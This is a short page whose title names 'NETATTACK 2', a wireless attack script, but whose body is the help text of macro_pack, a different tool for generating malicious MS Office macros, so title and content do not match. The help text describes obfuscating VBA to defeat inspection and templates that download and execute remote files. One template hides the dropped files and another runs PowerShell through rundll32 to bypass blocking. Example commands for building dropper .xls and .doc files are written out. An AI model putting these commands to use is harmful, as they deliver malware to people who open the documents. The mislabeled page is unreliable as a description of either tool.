
NETATTACK 2 – Wireless Network Scan And Attack Script

```
Pentest with MS Office VBA - Version:1.1-dev Release:Community

Usage 1: macro_pack.py -f input_file_path [options]
Usage 2: cat input_file_path | macro_pack.py [options]

All options:
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option
    If no input file is provided, input must be passed via stdin (using a pipe).
-q, --quiet Do not display anything on screen, just process request.
-o, --obfuscate Obfuscate macro Destroy document readability by changing form,names, and strings
    Same as '--obfuscate-form --obfuscate-names --obfuscate-strings'
--obfuscate-form Modify readability by removing all spaces and comments in VBA
--obfuscate-strings Randomly split strings and encode them
--obfuscate-names Change functions, variables, and constants names
-s, --start-function=START_FUNCTION Entry point of macro file
    Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
-t, --template=TEMPLATE_NAME
    Available templates:
    DROPPER -> Download and exec file
    -> Example use: echo <file_to_drop_url> "<download_path>" | macro_pack.py -t DROPPER -o -x dropper.xls
    DROPPER2 -> Download and exec file. File attributes are also set to system, read-only, and hidden
    -> Example use: echo <file_to_drop_url> "<download_path>" | macro_pack.py -t DROPPER2 -o -X dropper.xlsm
    DROPPER_PS -> Download and execute Powershell script using rundll32 (to bypass blocked powershell.exe)
    -> Example use: echo "<powershell_script_url>" | macro_pack.py -t DROPPER_PS -o -w powpow.doc
    Note: This payload will download PowerShdll from Github.
-v, --vba-output=VBA_FILE_PATH Output generated vba macro (text format) to given path.
-h, --help Displays help and exit
```
